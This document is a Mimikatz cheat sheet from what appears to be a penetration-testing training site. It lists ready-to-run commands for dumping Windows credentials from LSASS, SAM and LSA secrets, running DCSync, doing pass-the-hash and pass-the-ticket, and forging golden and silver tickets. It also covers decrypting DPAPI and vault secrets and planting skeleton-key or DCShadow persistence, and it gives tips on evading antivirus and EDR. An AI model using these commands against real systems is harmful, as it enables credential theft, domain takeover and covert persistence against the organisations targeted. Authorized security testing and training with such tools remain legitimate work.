Mimikatz

Dump credentials, pass-the-hash, golden tickets & DCSync

Mimikatz Cheat Sheet

Mimikatz extracts plaintext passwords, hashes, PINs, and Kerberos tickets from Windows memory, and performs pass-the-hash, pass-the-ticket, and golden/silver ticket attacks. For authorized testing only.

1. Launch & prep

mimikatz.exe

# Inside the prompt — almost everything needs SeDebugPrivilege:
privilege::debug          # enable SeDebugPrivilege (must return "OK")
token::elevate            # impersonate SYSTEM (needed for SAM/SECURITY)
log mimikatz.log          # tee all output to a file
exit

One-liner from cmd (chain commands, exit last):

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"

2. Dump credentials from LSASS — sekurlsa

sekurlsa::logonpasswords          # passwords + NTLM hashes for logged-on users
sekurlsa::wdigest                 # cleartext if WDigest caching is on (older/forced)
sekurlsa::msv                     # NTLM/LM hashes only
sekurlsa::kerberos                # Kerberos creds (sometimes cleartext)
sekurlsa::tickets /export         # export all in-memory TGT/TGS to .kirbi files
sekurlsa::ekeys                   # Kerberos encryption keys (AES) — great for OPtH
sekurlsa::dpapi                   # DPAPI master keys cached in memory

Work offline from an LSASS dump

# On target: dump LSASS (Task Manager, procdump, or comsvcs.dll)
procdump.exe -accepteula -ma lsass.exe lsass.dmp

# On your box:
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords

3. Local SAM & LSA secrets

token::elevate            # or run as SYSTEM
lsadump::sam              # local account NTLM hashes from SAM
lsadump::secrets          # LSA secrets (service-account cleartext passwords)
lsadump::cache            # cached domain logons (MSCacheV2 / DCC2 → hashcat 2100)

# Offline from saved hives
lsadump::sam /sam:sam.hive /system:system.hive
lsadump::secrets /security:security.hive /system:system.hive

4. DCSync — pull hashes from a DC

Needs replication rights (Domain Admin, or GetChanges/GetChangesAll). No code runs on the DC.

lsadump::dcsync /domain:domain.local /user:krbtgt
lsadump::dcsync /domain:domain.local /user:Administrator
lsadump::dcsync /domain:domain.local /all /csv          # everything

5. Pass-the-Hash / Pass-the-Ticket / Overpass

# Pass-the-Hash → spawn a process with the user's NTLM hash
sekurlsa::pth /user:Administrator /domain:domain.local /ntlm:<NThash> /run:cmd.exe

# Overpass-the-Hash (NT or AES key → full Kerberos TGT)
sekurlsa::pth /user:user /domain:domain.local /aes256:<key> /run:powershell.exe

# Pass-the-Ticket — inject a .kirbi into the current session
kerberos::ptt ticket.kirbi
kerberos::list /export        # list & export tickets in the session
kerberos::purge               # clear cached tickets

6. Golden & Silver tickets

# Golden ticket — forge a TGT (needs krbtgt hash + domain SID)
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
  /krbtgt:<krbtgt_NThash> /id:500 /ptt

# Silver ticket — forge a service TGS (needs the service account hash)
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
  /target:host.domain.local /service:cifs /rc4:<service_NThash> /ptt

Get the SID + krbtgt hash via lsadump::dcsync /user:krbtgt. Use /aes256: instead of /rc4: for stealthier, RC4-disabled domains. /ptt injects immediately; /ticket:file.kirbi writes it to disk instead.

7. DPAPI, vaults & certificates

vault::cred /patch                 # Windows Credential Manager secrets
vault::list
dpapi::masterkey /in:"<path>" /rpc  # decrypt a masterkey via the DC
dpapi::cred /in:"<credfile>"        # decrypt a DPAPI-protected credential blob
crypto::capi                        # make non-exportable CAPI keys exportable
crypto::certificates /export        # export machine/user certs (+ private keys)

8. Persistence (post-exploitation)

# Skeleton key — master password "mimikatz" for every domain account (run on DC, in-memory)
misc::skeleton

# DCShadow — push rogue AD replication changes (needs a second mimikatz)
lsadump::dcshadow /object:<dn> /attribute:<attr> /value:<value>

9. Key reference & tips

Command prefix	Purpose
`privilege::`	Enable token privileges (`debug`)
`sekurlsa::`	Read secrets from LSASS memory
`lsadump::`	SAM / LSA / DCSync / cache
`kerberos::`	Tickets: ptt, golden, list, purge
`crypto::` / `dpapi::` / `vault::`	Keys, certs, DPAPI, Credential Manager
`token::`	Impersonate / elevate tokens

Always run privilege::debug first; if it returns ERROR, you're not elevated.
Modern Windows (Credential Guard, LSA PPL) blocks sekurlsa — dump LSASS and parse offline, or bypass PPL.
sekurlsa::ekeys AES keys feed overpass-the-hash without ever knowing the password.
Mimikatz is heavily flagged by AV/EDR — obfuscate, run from memory, or use Impacket equivalents (secretsdump.py, ticketer.py).

Authorized testing only. Practice on the AYSEC pro-labs. See also Impacket and Windows privilege escalation.